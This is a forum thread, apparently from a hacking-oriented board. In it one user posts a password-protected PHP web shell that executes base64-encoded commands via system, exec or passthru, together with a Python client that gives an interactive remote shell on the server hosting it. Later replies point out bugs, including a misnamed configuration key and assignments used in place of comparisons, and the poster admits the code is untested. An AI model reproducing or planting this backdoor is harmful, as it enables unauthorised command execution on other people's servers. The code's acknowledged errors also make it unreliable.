[RyanC]

What's the point of this? And besides, your rm syntax is broken (assuming GNU rm)

[bckslsh]

I wrote up something similar to this as well when I was learning PHP. Might not be useful, but here it is -

remote php script

PHP Code


<?

$password = "test";

$entered_pass = $_GET['pass'];
$cmd = base64_decode($_GET['cmd']);
$disabled_functions = explode(', ', ini_get('disabled_functions'));

if ($entered_pass != $password) {
    die("script_er0");
}
if (!in_array('system', $disabled_functions)) {
    $method = "system";
} elseif (!in_array('exec', $disabled_functions)) {
    $method = "exec";
} elseif (!in_array('passthru', $disabled_functions)) {
    $method = "passthru";
} else {
    die("script_er1");
}

if ($method = "system") {
    system($cmd);
} elseif ($method = "exec") {
    echo exec($cmd);
} elseif ($method = "passthru") {
    passthru($cmd);
}

?>

Local python script -

Code

#!/usr/bin/python

import sys, base64, urllib2

print "[!] Usage: python script.py http://fullpathtosite.com/andphpscript.php password"

url = sys.argv[1]
password = sys.argv[2]

#make sure pass is right
rsp = urllib2.urlopen(url + "?cmd=ZWNobyAx&pass=" + password)
if "script_er0" in rsp.read():
    print "[-] Invalid password"
    exit(0)

#grab cwd
rsp = urllib2.urlopen(url + "?cmd=cHdk&pass=" + password)
cwd = rsp.read().rstrip()

#grab username
rsp = urllib2.urlopen(url + "?cmd=d2hvYW1p&pass=" + password)
whoami = rsp.read().rstrip()

while True:
    cmd=raw_input(whoami+"@"+cwd+">")
    if cmd=="exit" or cmd=="quit":
        break
    cmd=base64.b64encode(cmd).encode("ascii")

    rsp = urllib2.urlopen(url + "?cmd=" + cmd + "&pass=" + password)

    print rsp.read() + "\n"

Now it seems a bit pointless, but I guess it was nice for learning c:

[bckslsh]

I don't really understand the point of this, what's the advantage?

Also, ๖ۣۜDan, your code will fail. Did you ever get around to testing it?

PHP Code


<?php 
$disabled_functions = explode(', ', ini_get('disabled_functions'));

// Output isn't spaced (example: system,exec,passthru).
// It's disable_functions, not disabled_functions. 


You're better off just using is_callable() anyway. You can't call a disabled function after all.

I re-wrote that in 5 minutes to give an example as to what I had done when I was learning. I never tested those particular scripts.